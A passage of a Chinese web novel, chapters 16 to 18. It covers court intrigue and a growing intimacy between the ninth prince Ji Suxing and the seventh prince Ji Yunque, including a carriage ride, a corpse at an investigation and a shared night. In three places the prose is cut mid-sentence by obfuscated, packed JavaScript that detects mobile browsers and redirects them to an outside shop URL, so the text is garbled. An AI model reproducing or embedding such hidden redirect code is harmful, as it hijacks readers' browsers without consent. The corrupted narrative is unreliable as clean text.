他抬着眸子,眉心微拧,瞧着气鼓鼓的,但姬洵璋见他如此模样,眼眸反倒是温和下来,“铉方!” “哎!打住,打住!” 薛锦霈一个箭步插到两人中间,手臂熟稔地搭上姬簌星的肩膀,“我说表哥,阿星又不是三岁孩童了,您何必次次看得这般紧?再说了,有我在旁边护着,他能出什么事儿?” 他拖着姬簌星就往外走,嘴里不停,“您可别学我府上那古板管家,太扫兴了!” 姬洵璋眉头微蹙,到底没再坚持,“记着规矩,那些不干净的地方,不许去。” “知道啦……”薛锦霈半推半揽地把姬簌星带出了院子。 直到走出豫王府大门,薛锦霈才松开手,长舒一口气。 “我说阿星,你都多大个人了,表哥怎么还跟看眼珠子似的看着你?” 他凑近,压低声音戏谑道:“不知道的,还以为他金屋藏娇呢,藏的还是个男娇娥!” 姬簌星拍开他,“薛二,你皮痒了?” 薛锦霈嬉皮笑脸地躲开,“玩笑嘛!” 姬簌星揉了揉肚子,早上还没吃饭,肚子有些饿了,他转头,“薛二,我记得今日不是休沐吧,你怎么有空来找我?” 薛锦霈闻言,一脸苦大仇深,“别提了!告了病假。再不躲出来,留在羽林卫迟早被七殿下练死!” 说到这儿,他猛地一拍脑门:“差点把正事忘了,我就是专程为这事儿来找你的!” 姬簌星莫名其妙,“什么事啊?” 薛锦霈用扇子轻轻点了点姬簌星的胸口,语气带着三分同情,“姬小九,你的好日子怕是要到头了,陛下给你派了差事,着你明日就去羽林卫点卯任职。” 他顿了顿,慢悠悠补上一句,“而且陛下特意交代了,让七殿下亲自带你。” 看着姬簌星石化的样子,薛锦霈收回扇子,摸了摸下巴。 “我原可是告了半个月的长假,为了陪你,硬生生把假给销了,哥们够意思吧。” 姬簌星只觉得耳边“嗡”的一声,脑子里一片空白。 任职?羽林卫?书上没写这段啊! 他不是应该一路吃喝玩乐躺平,呸,作死到结局吗? 他想接近姬昀雀不假,可绝不是以这种形式,旁人或许不知,但他清楚记得姬昀雀治军手段,而且姬昀雀厌蠢、厌钝、厌无能之辈。 而如今的他,这三条……好像一条不落,全占了。 姬簌星指尖微颤,想要再挣扎一下,“薛二……我是不是听错了?” 薛锦霈摇了摇头,“没啊,白纸黑字,我在你桌上都瞧见了。” “不过……”他脸上嬉笑的神色收了收,狐疑地打量着姬簌星,“阿星,这不对啊,你怎么会害怕姬昀雀呢?” 他目光锐利了几分,“还有,你最近对表哥的态度也古怪得很,到底怎么回事?” 16. 第16章 姬簌星盯着薛锦霈的脸看了三秒。 那双张扬肆意的桃花眼里,盛满了探究与好奇,若忽略薛锦霈周身掩不住的风流劲儿,倒真有几分世家嫡孙该有的气度。 可惜,姬簌星对他太熟了。 他收回目光,语气平淡,“你现在不怕姬昀雀?如果你表哥要是天天把你拘在府里,这也不许做,那也不许碰,你能不烦?” 薛锦霈呆了下,还真设身处地地想象表哥那可怕的控制欲,赶紧打了个冷战,幸好他表哥不盯着他,只盯着姬簌星。 再说那位七皇子姬昀雀。 一年前,他们这群纨绔子弟还没把这位七皇子放在眼里,可短短一年光景,姬昀雀便崭露头角,稳稳踏入了尚书台。 更让人胆寒的是,当初跟姬昀雀作对的纨绔,接二连三地成了废人,查来查去,始终找不到半点与姬昀雀相关的痕迹,最后只能不了了之地归结为运气太差。 但暗地里,谁都在传姬昀雀身上邪乎得很。 见薛锦霈半晌不语,姬簌星自顾自往前走去,“要不咱俩换换?让皇兄也那般管管你,看你笑不笑的出来。” 薛锦霈回神跟上前去,“阿星,我开玩笑呢,还是别了,表哥那脾气控制欲也太强了,我可受不了……” 他见姬簌星脚步未停,忙又扬声:“唉,你等等我!这是往哪儿去?我给你备了惊喜呢!” 半盏茶的功夫,两人便进了品仙楼。 酒楼装饰灯火华美,银丝绸缎悬在梁间层层堆叠,花娘跟仆役穿梭其间花娘与仆役手捧金盘玉壶,穿梭于笑语之间。 大堂中央,琴师拨弄丝弦,乐音袅袅升起,一直漫到三楼雅间。 姬簌星临窗坐着,心不在焉地戳着碟中精巧的点心,早上原没吃过什么饭,现在却不怎么饿。 天大的噩耗,他居然要去羽林卫。 先不说他素来贪睡,卯时根本起不来,单说羽林卫里那些世家子弟跟他相熟的或者不对付的一抓一大把,更别提薛锦霈还总黏在他身边。 他该怎么应对姬昀雀? 对他太好,薛锦霈必定起疑,对他不好,自己最后怕是连小命都保不住。 姬簌星轻轻叹了口气,只觉得左右为难。 薛锦霈瞧见姬簌星的脸色,挑着眉毛安慰道:“怕什么?难不成他真敢给你穿小鞋?” 姬簌星默然不语,姬昀雀当然不会动他,只到最后清算的时候带上他。 “行了,从前那般没心没肺,这两日倒跟换了个人似的。”薛锦霈浑不在意地挥挥手,“天塌下来也有高个儿顶着,愁什么?” 他朝姬簌星挤了挤眼:“知晓你心中不畅快。这品仙楼新来了一拨善弹琵琶的瘦马,模样身段皆是上乘,你不是前阵子还念叨想听胡曲么?待会儿便让你开开眼。” 话音未落,雅间的门被轻轻推开。 进来的却并非歌女,而是酒楼的管事郭谯。 他快步上前,额角已渗出细密的汗珠,不住躬身作揖,“两位贵客,实在对不住……会弹胡曲的嫣儿姑娘眼下正忙着,一时过不来。小店特奉上窖藏的千金酿一壶,还望二位海涵。” 闻言,薛锦霈脸色一沉,“忙?小爷我方才便点了人,此刻你同我说忙?她在哪个厢房伺候?” 郭谯忙将酒坛往前递了递,腰弯得更低,“薛少爷,实在是那边已有贵客先约下了。” 他话音未落,薛锦霈已霍然起身,手臂一扬。 啪嚓!”酒坛应声落地。 薛锦霈冷笑一声,“对不住?小爷要的可不是你一句对不住,我今日倒要瞧瞧,是谁的谱摆到了我薛锦霈前头!” 郭谯面如土色,“二位爷实在是……对不住了。” 姬簌星本就心烦意乱,被这番吵闹搅得更是头痛,“够了,下去。” 郭谯如蒙大赦,连滚爬爬地带人退了出去,轻轻带上了门。 薛锦霈余怒未消,面色铁青,“小爷长这么大,还没被人这般拂过面子!” 经此一闹,姬簌星那仅存的一点胃口也烟消云散。 与薛锦霈分开后,他站在长街口,望了望三皇子府的方向,然后调转脚步,回了自己的皇子府。 两日未归,贴身内侍明丰早早迎在府门前,一见他的身影,便扑上来一把鼻涕一把泪。 “殿下!您可算回来了!听说您前日遇着了贼人,可曾伤着?” 姬簌星后退半步,“你从何处听来的?” 明丰用袖子抹了抹泪,“宫里宫外都传遍了呀!那贼人早被擒住,午时三刻就就处置了。” 姬簌星闭了闭眼。 完美。 他跟姬昀雀遇刺,然后父皇让他去羽林锻炼身体,他总算知道问题出在哪里了。 他摆了摆手,只觉身心俱疲,走到院门前,才想起什么,回头吩咐了一句,“明日卯时唤我起身。” 第二日,天色澄净,带着微末的寒意。 一辆不起眼的马车静静停在七皇子府侧门,姬昀雀如常走向马车,刚抬手欲掀车帘,动作却微微一顿。 车内有人。 他直接掀开帘子,然后就瞧见了个不规矩的人影。 只见姬簌星歪靠在车厢最里侧的软垫上,姿势半趴半倚,脑袋随着马车轻微的晃动一点一点,眼见就要磕到坚硬的厢壁。 许是清晨寒气重,他身上裹了件墨狐披风,将自己蜷成小小一团,只露出半张睡得泛红的脸,唇瓣微张,脸颊旁侧的狐毛随着呼吸抖动。 帘子掀开的动静惊醒了他,他揉了揉眼睛,抱着披风迷迷糊糊坐直,眼神尚有些懵,语气带着刚睡醒的沙哑跟柔软,“你怎么才来呀。” 姬昀雀眉心几不可察地蹙了一下,并未立刻进去。 马车外云阑见姬昀雀迟迟未动,低声询问:“殿下?” 姬昀雀这才进去,放下车帘,“无事。” 云阑刚刚听到马车里有声响,但是姬昀雀说无事,那就是无事,他便按下疑虑,如往常一般执起缰绳。 车厢内,一时寂静无声。 姬簌星占据了内侧,姬昀雀则靠窗坐在另一边,中间隔着一段空隙。 两人谁都没有先开口。 姬簌星抱着软垫,掩口打了个小小的哈欠,眼里立刻氤氲出一层生理性的水雾,他望向姬昀雀,小声嘟囔:“我都等了你快半个时辰了。” 姬昀雀抬眸看了他一眼,并未接话。 他又没让姬簌星等他。 姬簌星睡得骨头都有些僵了,又被那硬木厢壁硌得浑身不自在,他扭了扭脖子,面色略显纠结,揉按了好一会儿,他才坐正身子,又抬眸看了眼那漏风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965983|193380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的车窗,迟疑着开口,“你离我这么远做什么?” 姬昀雀语气平淡,“殿下有自己的马车。” 姬簌星噎了下,他怕姬昀雀不待见他,提前起了个大早,天不亮就钻到他马车里了,而且他手里可是握着一个重量级的东西,满脑子都想着怎么救姬昀雀。 可对方这副拒人千里的冷淡态度,实在让人泄气。 他还没计较因姬昀雀告状,害自己被扔进羽林卫这档子事呢! 心里涌上一丝不满,又被姬簌星强行按捺下去。 车厢内愈发安静,只余车轮碾过青石路面的规律声响。 姬昀雀显然没有主动交谈的意思,全然将他当作空气。 姬簌星抿了抿唇,心一横,直接姬昀雀那边挪了挪。 姬昀雀察觉了他的动作,依旧沉默。 姬簌星急得心里像有猫爪在挠,他有极其重要的话要对姬昀雀说,可该如何起头? 难道直接说:我偷听到薛穆清算计你,他给你的账本是假的?只怕话刚出口,他就会被姬昀雀毫不留情地扔出马车。 毕竟,在姬昀雀眼中,自己与薛家与三皇兄姬洵璋,根本是一丘之貉。 他清了清嗓子,试图打破僵局,“那个栖华院……住得可还习惯?” 姬昀雀淡淡应了声,“嗯。” 姬簌星一噎,好就是好,不好就是不好,嗯是几个意思? 他硬着头皮又道:“崔嬷嬷前阵子给府上人都备了冬衣冬被……你拿到了吗?是不是很暖和?” 不知道是不是姬簌星的错觉,他说完就看到姬昀雀身上气度冷了半分。 姬昀雀抬眸,“是要多谢殿下|体贴,御下有方。” 姬簌星脑子更懵了,这句话是夸人的意思吧?怎么他觉得姬昀雀不像是夸人的样子。 他忽略心头的怪异,摆了摆手,“你喜欢就好。” 他掌心抚着自己腰间的玉佩,冰凉的物件让他更清醒了几分,到底怎么开口呢……他面上神色变幻,纠结不定。 却不知自己表情尽数落在姬昀雀眼底。 姬昀雀也很疑惑,他不明白姬簌星为何最近态度大变,还上赶着来找自己,唯一的可能…… 哐当,马车不知道压到了什么东西,颠簸了一下。 姬簌星正神游天外,毫无防备,整个人因着惯性直直向前扑去。姬昀雀下意识伸手,姬簌星整个人扑倒姬昀雀怀里。 “唔…” 姬簌星手不知道按在什么地方,想动脑袋却又磕到了姬昀雀的下巴,听到姬昀雀压抑的闷哼,也不敢再动了。 车外立刻传来云阑紧张的声音,“殿下,方才那段路地面不整。” 姬昀雀闭了闭眼,缓过那阵痛楚,方沉声应道:“无妨。” 说罢,他微微低头,就看到姬簌星面色紧张地窝在自己怀里,脑袋趴在自己颈窝,呼出的气息喷在颈侧,有些痒。 他这才发现自己手臂扣在姬簌星腰间,掌心之下是契合的刚好的腰线弧度,软软的像是握住了一滩水。 他心头一凛,下意识便想将人推开。 岂料他刚一动,怀里的姬簌星便似受了惊吓,不仅没松手,反而收紧了环住他脖颈的手臂,将自己贴得更紧,有些窘迫。 “别……别动!我……我腿麻了……” 17. 第17章 长时间不动,腿麻在所难免。 姬簌星嘴上虽这么说着,心里却做好了被姬昀雀推下去的准备,毕竟现在的姬昀雀不惯着他。 可出乎意料的是,姬昀雀的手掌堪堪抵在他腰后微凉的衣料上,却并没有推他下去的意思。 姬簌星顺势趴在姬昀雀怀里,耳畔是沉稳如擂鼓的心跳,咚咚声透过胸腔传来,不知道是不是自己的,姬昀雀怀里很暖,让他让一瞬恍惚觉得自己回到了小时候。 鼻尖萦绕着似有若无的安神香的气息,清冽又好闻。 但只过了一会儿,头顶便传来听不出情绪的问话:“好了吗?” “好……好了。” 姬簌星忙不迭翻身坐直,挪到姬昀雀身侧,好像姬昀雀对他没有很排斥,他心思活络起来,他小时候就喜欢黏着姬昀雀,若是如今多赖着些,让他念起旧日情分,两人的关系,是不是就能回暖了? 姬簌星这样想着,身子往姬昀雀旁边靠了靠。 姬昀雀脊背挺直如松,侧目过来,“殿下若是坐不惯,可下车步行。” 被这话一激,姬簌星心头那点犹豫反倒散了,他整个人倚靠上去,脑袋枕着对方肩头,半边身子紧紧贴上那臂膀。 语气含糊开口,“我当然坐得住,谁让你这马车这么硬这么冷,我抱着你暖会身子怎么了?” 柔软温热的躯体突然贴紧,姬昀雀终于偏过头,深潭似的眼眸锁住他,“你到底想做什么?” 是报复他?是不愿去羽林卫?还是替姬洵璋来打探什么? 姬簌星仰起脸,眼睛睁得圆圆的,一副理所当然的模样,“去羽林卫啊,父皇不是让你管着我么?” 姬昀雀静静凝视他,面上无波无澜。 姬簌星趁机用手指捻了捻对方衣袖的料子,“为何不穿府里裁的冬衣?眼下已是深秋,着了寒气怎么办?” 姬昀雀穿着玄色官袍,内襟是一抹红,上面绣着虎兽的纹样,瞧着倒也精细华美,但却有些单薄了。 姬昀雀将衣袖从他指间抽回,语气疏离,“这与殿下何干?” “自然有关!”姬簌星下意识反驳,“你既住在我府上,若穿得如此单薄,外人见了,岂不以为我苛待于你……” 他说完,空气蓦地安静下来,不知道是不是两人想到了同一件事。 以前也是他在冬日将人赶出去,带着旁人瞧热闹,现在他又说这话,怎么瞧怎么都觉得虚伪。 姬簌星别过脸,尴尬地轻咳一声:“记、记得穿上,莫要坏了我的名声……我不是说了,要改过自新……” 他垂着头,等了许久也未得回应,只得又抬眼望去,软了声调,“皇兄,你听见了么?” 姬昀雀垂着眼帘,他眉眼生得凌厉,垂眸时眼尾上扬,黑而长的睫毛投下一抹浓重阴影,让人辨不清情绪,又莫名让人觉得胆寒。 姬簌星立马移开视线,有些心虚,“算了,没听见就没听见吧。主要是府里近日账目出了纰漏,怕你拿不到,先前管事的明喜拿假账目糊弄,什么三十两的百米,二十两的猪肉……” 姬昀雀听到这话,视线落到姬簌星敛着眼眸的面容上,眸色转深。 “连皇子府都敢有假账本,你说是不是胆子很大?”姬簌星面上说得气愤,可是手却紧张地捏住了腰间的玉佩,他说得这么委婉,姬昀雀能听出来了吧。 姬昀雀视线沉沉盯着姬簌星颤抖的眼睫。 他当然听出来了,姬簌星心思太过好猜。 但是先前他就说过了,账本根本就不重要。 陈如海是薛家嫡系,是薛氏最倚重的心腹门生,否则也不会被安插在盐巡使这等要害职位上,年年为薛氏抽取六分税银,在那些人眼中,财权与兵权同等紧要,非绝对心腹不能执掌。 陈如海忠心耿耿,几乎没有错处,怪就怪姬洵璋太过多疑,薛穆清又太过谨慎。如果德妃没有因为护国寺一事波及禁足,断不会由着他们胡来,连查都不查,就以为陈如海叛主。 如今陈如海生死不明,薛氏盐税财路已断,目的已然达成。 但姬簌星怎么知道? 姬昀雀抬起了眼眸,里面都是探究跟怀疑,是替姬洵璋来试探的吗? 姬簌星等了好久都没等到姬昀雀回话,他心里不安,难不成姬昀雀这么浅显的话都听不出来,他又问,“你听到我说话了吗?” 姬昀雀收回目光,语气平淡无波,“殿下府中事务,与臣无关。” 姬簌星正要反驳,马车又颠簸了下,窗户边上的帘子飘起,他瞄了一眼外面,帘子外不是熟悉的朱墙红瓦,而是一眼望不到头的荒野。 他猛地掀开帘子向外望去。官道空旷,树木枝叶凋零 “停车!这不是去羽林卫的路!” 姬昀雀视线淡淡地瞧了过来,“我今日有尚书台公务在身。” 姬簌星呆了呆,突然蹦出来一句,“可我今日还要去羽林卫领值呢。” 他又瞧了眼安安稳稳坐着的姬昀雀,心思定了下来,反正他归姬昀雀管,姬昀雀去哪他就去哪。 但没想到姬昀雀带他去的地方,是一处凶地。 官道旁的密林深处,早已有人等候,十余名官兵肃立,两名主簿官手持卷册,面色凝重。 姬簌星跟在姬昀雀身后,跟着他走到人群旁,前面的官员停下动作,见到姬昀雀前来,开口行礼,“七殿下。” 姬昀雀颔首应下。 紧接着,他又瞧见姬昀雀身后跟着的姬簌星,陡然一惊,“九殿下?” 姬簌星随意摆了摆手,“我随皇兄来见见世面,诸位不必管我。” 那名廷尉记事瞧了眼姬簌星的打扮,面上一言难尽,又急忙去跟姬昀雀汇报去了。 空气中弥漫着一股奇怪的味道,带着腐烂跟泥土的腥气,姬簌星原本跟在姬昀雀身后寸步不离,但他旁边的侍卫却上前,不动声色间将自己跟姬昀雀隔开。 越往前味道越难闻,姬簌星捂住鼻子,望向旁边一步不停盯着他的人,不知道怎么回事,总觉得姬昀雀身边的人对自己也颇有敌意。 姬簌星靠近了一点,“你叫云阑啊?” 云阑眉头微蹙,不动声色地向旁挪开半步。 姬簌星撇了撇嘴,心里明镜似的,这些人皆是北郡出身,是为姬临阙培养的副将,个个身怀绝技,能征善战。 其中有三个史书有名,霍山文武双全,精通易容之术;云阑骁勇善战,偏爱兵行险招,心思缜密,性子沉敛;石越勇冠三军,性情刚正,嫉恶如仇。 望着云阑毫不掩饰的敌意,姬簌星移开视线,苦中作乐地想,他们对自己敌意深,恰恰说明对姬昀雀足够忠诚,以后他定要让这些人心甘情愿,也唤自己一声殿下。 这样想着,心情总算好了一点,他快走两步,跟在姬昀雀身后,“皇兄,你等等我……” 前方,姬昀雀与那记事主簿停下交谈,郑岳擦了擦额角不存在的汗,尴尬笑笑,“九殿下对殿下兄弟情谊羡煞旁人……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姬簌星瞳孔骤然一缩,屋子前方的太师椅上正坐了一个人,低垂着脑袋,长长的头发披散着,双手交叠置于胸前。 嘀嗒一声,他往下瞧,太师椅下面已经汇聚了一滩褐色。 姬簌星僵着脑袋上移,那人穿的衣裳很熟悉,捧在心口的双手里握着一节剑柄。 屋子里的陈腐气跟血腥味扑面而来,姬簌星面色惨白。 陈如海?他不早在前日就死在了豫王府? 那现在……他视线盯着太师椅面下嘀嗒的褐色,手开始止不住地抖。 死了两日的人怎么还会流血呢? 他想开口,想说话,却发现自己眼前止不住地晕,“皇兄……” 姬昀雀脚步顿住,鬼使神差回过头来。 就见姬簌星面色白得像是一张纸,眼神僵直,浑身发抖,唇瓣却极为艳红,像是精致又容易碎掉的瓷人。 他面上呆滞,眼前发黑,“皇兄……血。” 那一瞬,姬昀雀的身体先于意识做出了反应,他骤然上前,长臂一揽,将人稳稳拥入怀中。 云阑闻声急步上前,“殿下!这……” 姬昀雀低头看向怀中人惨淡的面容,指尖无意识地触到姬簌星冰凉的脸,眉心紧蹙,他分明记得当年离开时,姬簌星是不怕血的。 18.第18章 姬簌星好像昏倒了,但好像又被困在梦境里。 他并未完全失去意识,只是身体动弹不得,只有耳朵还勉强抓着外界的声音,他听到郑岳正在向姬昀雀禀报。 “殿下,陈如海自戕,留了血书,直指五殿下。薛氏的门生紧随其后,在朝堂上逼问五殿下,要一个交代。如今两方施压……” 郑岳的声音里裹着化不开的愁绪,重重一声叹息,“要是有账本就好了,要么证明是五皇子胁迫陈如海,要么证明……别的出处,现在有两千多万税银不知所踪,这……唉……” 外间传来纸张翻动的窸窣声,姬昀雀的声音隔着一段距离传来,平静得听不出情绪,“确认是自裁?” “是,执剑自尽,一剑穿胸。” 郑岳的嗓音压得更低,“这吃力不讨好的差事,怎会落到殿下肩上?若处置不当,后续麻烦可就大了……” 姬昀雀未置可否,只道:“再细查周遭。” 脚步声渐渐远去,姬簌星的眼睫艰难地颤了颤,他急得心脏都要跳出来,可身体却像被千斤巨石压住,半点动弹不得, 皇兄遇到麻烦了?若办不好会怎样? 三皇子与五皇子在朝中各有倚仗,党羽甚众,姬昀雀却势单力薄,刚刚崭露头角。 此事若办砸了,那两方必定趁机将他拖下水,连父皇也会觉得他不堪大用。即便办成了,也必定要得罪其中一方,日后难有安宁日子。 姬簌星从前从未费心琢磨这些,无论他做什么,总有人替他兜底,先是太子哥哥,后来是父皇。如今真到了想做点什么的时候,才觉出这其中的千钧重量,让人喘不过气。 姬昀雀的确忙得不见人影,从日头高悬直至暮色四合。 周遭变成了浓郁的黑,姬簌星裹着一件厚重的深色披风,蜷坐在冰凉的屋檐下,把自己缩成小小一团。披风颜色暗沉,唯有领口那一圈雪白的狐毛,在昏暗中格外醒目,衬得他脸颊愈发白净。 姬昀雀归来时,见到的便是这幅景象。 他脚步一顿,这里是尚书台他临时的住处,姬簌星既然醒了,按理说早该回自己的九皇子府了,以他九殿下的身份,只需开口吩咐一声,自然有人巴巴地送他回去,何须在这里苦等? 可他偏偏没走。 脚步声惊动了台阶上的人,姬簌星抬起头,借着朦胧的月色看清来人,立马撑着台阶站起身,仰着小脸,“皇兄,你回来了?” 姬簌星开始喊他皇兄了,好像就这两日。 姬昀雀瞧着他,眸色沉静,眼底却像敛着化不开的墨,不知道在想什么。 他走上前,淡淡扫了姬簌星一眼,便径直越过他,抬脚走进了屋子,“殿下既然醒了,便让云阑送你回府吧。” 姬簌星连忙跟了上去,屋子里漆黑一片,他从醒来到现在一直守在外面等,根本没想着点灯,刚跨进门,脚下便被门槛绊了一下, 他摸索着往前挪了两步,声音磕磕巴巴的,“我早就醒了,我不回府,我在这里是专门等你的。” 他还想再靠近些,就听见“咔嚓”一声轻响,火折子被点燃,微弱的光芒在黑暗中亮起。 姬昀雀端着烛台,暖黄的光晕缓缓扩散开来,他隔着这层光亮抬眸,目光落在姬簌星身上,带着几分审视:“你在等我?” 光线太亮,姬簌星下意识地眯了眯眼睛,随即又睁大眼睛,语气带着几分理所当然,“就是在等你啊。” 暖橘色的光晕在室内缓缓扩散,笼罩住两人,姬昀雀将烛台搁在案上,“殿下等我何事?” “等就等了,还要什么理由?”姬簌星又凑近两步,追问:“那案子,有头绪了么?” 姬昀雀搭在桌案上的指尖骤然一顿,墨眸盯着他,目光里带着审视,“殿下如此关心,是因为死者是三皇子的党羽?” 姬簌星心里一凛,连忙摆手,“我没有,我是因为……好奇。” 姬昀雀收回目光,周身的气息也变得愈发疏离,“夜已深,殿下还是早些回府。门外有巡察卫军,他们会送你回去。” 说罢,他不再理会姬簌星,起身走向内室。 他解下腰封,将金绶与外袍随手搭在屏风上,正欲解开里衣系带,却见姬簌星竟跟到了内室门边,欲言又止地望着他。 姬昀雀拢住衣襟,眉心蹙起,“还有何事?” 姬簌星抱着披风,乖巧地站在一旁,声音小得像蚊子哼:“我害怕……” 他顿了顿,仰起脸,眼底带着几分水汽,“我今日瞧见了尸体,晚上一定会做噩梦的。皇兄,我能跟你一起睡吗?” 他仰着头,眼眸湿漉漉的,姬昀雀这才注意到,姬簌星只松松披着那件披风,里面仅一件单薄的白色里衣,领口微敞,从他的角度,甚至能瞥见一抹淡淡的绯色…… 他立刻移开视线,目光落在姬簌星脸上,眉心拧得更紧。 跟男子同榻而眠在军中是常事,北郡大雪封山时,十几个人挤在帐子里也没事,但要与姬簌星躺在同一张床榻上,他的心里却莫名升起一股异样的感觉,只觉得不妥。 他瞧了姬簌星两眼,面色更冷,“出去!” 他这句话说得有些重,姬簌星不敢置信地抬头瞧了他一眼,他都这么示弱了,姬昀雀还不让他留下,以前太子哥哥就不会这么凶他。 他眼眶有些热,眨了眨眼赶紧低下头,慌里慌张地扯过屏风上的披风,转过身找补似的开口,“我才不稀罕在你这里睡!我找别人去……” 他抱着披风不看路,膝盖再次撞上桌腿,钻心的疼涌上来,泪意更汹,却死死咬住嘴唇不肯出声。 姬昀雀听见闷响,下意识上前一步。 姬簌星避开他的手,跌跌撞撞往外走,姬昀雀一点都不疼他,他讨厌死姬昀雀了! 姬昀雀蹙眉,“站住。” 姬簌星不理他,继续向前。 姬昀雀大步追上,哐当一声合上门板,手掌撑在姬簌星面前的门上,另一手握住他纤细的手腕:“姬簌星,你在闹什么?” “你是不是忘了,你是三皇子党的人?你与薛氏亲近,与德妃亲近,平日帮着姬洵璋在父皇面前说尽好话,还抢了我的东西去讨好姬洵璋,你……” 啪嗒,温热的液体,一滴,又一滴,砸在姬昀雀的手背上。 姬昀雀的话戛然而止,心脏骤然攥紧,眼前这双漂亮的眼睛,此刻蒙着一在层水雾,眼角鼻尖晕开透着水光的粉,看起来委屈极了。 姬簌星感觉到脸上的湿凉,意识到自己竟然哭了,慌忙抬手去抹,却越抹越多,他又抓起披风粗糙的边角用力擦脸,细嫩的皮肤被磨得生疼。 他不是故意哭的,也没想博取姬昀雀的怜悯,姬昀雀说的都是对的,是他做了坏事,他没想在姬昀雀面前掉眼泪,只是……只是真的忍不住有些委屈…… 太可怜了,姬昀雀整个人僵住,他根本想象不到姬簌星这么可怜的模样,姬簌星应该是骄纵的、张扬的,而不是委委屈屈在他面前掉眼泪。 “够了……” 姬昀雀意识抽离,动作先行一步,他一把抓起姬簌星手里的披风丢在一旁,随即打横将人抱起转身走入内室。 温热的帕子浸了水,一点点帮他擦去脸上泪痕,然后擦脸,擦手,解发,将人塞到被子里去。 姬簌星身上,手里都冷得像冰,怎么捂都捂不热,待姬昀雀的理智重新归位时,他发现自己已将人妥帖地安置在床榻内侧,姬簌星冰冷的手不知何时搭在了他腰间,整个人缩在他怀里汲取温暖。 身前的人眼睛微肿,眼角鼻尖红晕未褪,睫毛上还沾着细小的泪珠,身子仍在轻轻发颤。 姬昀雀闭了闭眼睛,算了,就这一次。 屋子里烛火熄灭,重新归于黑暗,姬昀雀呼吸放缓,但却没有丝毫睡意。 黑暗里只有两人交织的呼吸声,鼻尖里都是姬簌星身上特调的海棠花香,他脑海里很乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16970794|193380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀里的人窝成一团,紧紧抱着他,不一会儿便软乎乎暖洋洋的,脑袋枕在他臂膀,呼吸都在他颈间,像小时候那样。 但……姬昀雀环抱着姬簌星身上的手有些僵硬,睁开眼眸落到那艳红饱满的唇上,他曾亲吻过,索取过,堵住这人口腔里的呜咽,动作放肆得过分。 姬昀雀猛地闭上眼,一股强烈的自我厌弃涌上心头。 姬昀雀睡不着,姬簌星同样睡不着,他心里委屈,窝在姬昀雀怀里也没有好多少,上次抱姬昀雀是好多年前了,以前太子哥哥不仅抱着他睡,还握着他的手给他讲话本。 姬簌星悄悄伸出手,想去够姬昀雀垂在身侧的手,指尖尚未碰到,姬昀雀却忽然开口,“你似乎怕见血?为什么?” 姬簌星吓得收回手,脑袋重新窝回去,闷闷道:“我忘了……” 姬昀雀知道姬簌星不想多说,顿了下,声音听不出情绪,“睡吧。” 姬簌星觉得自己是睡不着的,但是姬昀雀身上的安神香的味道好好闻,他的眼皮渐渐变得沉重,意识一点点模糊。 并且一夜无梦。 再睁眼时,姬簌星盯着头顶陌生的床帐恍惚了片刻,才扭过头,身旁的姬昀雀即使沉睡,眉心也微微蹙着,仿佛在梦中仍被什么烦忧。 姬簌星抬起手,刚想帮他抚平,就在此时,姬昀雀倏然睁眼,抓住了他探出的指尖,“你想做什么?” 姬簌星脑袋空白了一下,不知道是不是被小时候的自己顶号了,凑过去在姬昀雀的额角轻轻亲了一下,结结巴巴地开口:“早……早安,皇兄……” 姬昀雀愣了下,随即眯起眼,握着他手腕的力道微重,“你见谁都亲吗?姬洵璋呢?你也这样对他?” 姬簌星一脸茫然,“不啊,我又不跟他一起睡。” 姬昀雀垂眸,松开姬簌星的手,掀开被子,起身便开始穿衣。 姬簌星裹着被子坐起,有些难为情地揪着被角,“我的外衣…你能不能给我找件新的?我昨天穿着,总觉得身上沾了血腥味。” 姬昀雀拧眉抓起姬簌星的外袍,“殿下可以自己差人来换。” 姬簌星撇了撇嘴,刚想接,就见一件东西从外袍的衣襟里掉了出来,“嗒”地一声落在了地上。 一抹通透的玉佩掉在姬昀雀脚边,他弯腰捡起,只见玉佩背面,精巧地嵌着一枚极小的钥匙。 姬簌星眼眸一亮,他正想着没法子交给姬昀雀呢,他收回手,抱着双臂坐在床上,“这钥匙嘛,是我先前在豫王府玩耍时,无意间被扣上去的。” “离府前,似乎听见豫王府的下人在寻什么东西,不会是这钥匙吧?算了。” 他挑了挑眉,有些骄纵,“我用这玉佩跟你换身新衣裳,我要云锦蚕丝的料子,别的我可不穿。” 云锦蚕丝何其珍贵难寻,足够姬昀雀去陈府开上十个密匣了,他可真机灵。 姬昀雀看了他一眼,随手将玉佩抛回他怀里。 “云阑。” 守在外间的云阑应声推门而入。 “去取一套干净衣裳来。” “是。” 云阑领命,退下时目光不经意扫过地面那件属于姬簌星的披风,眼神恍惚了一瞬,随即快步离去。 约莫半个时辰后,姬簌星穿戴整齐。 他并未穿上奢华的云锦蚕丝,只是一身普通的绸缎常服,样式颜色倒与姬昀雀平日所穿有几分相似,许是姬昀雀的私服,袖口被他挽起两折,腰间的玉带也多绕了几圈,才堪堪束紧。 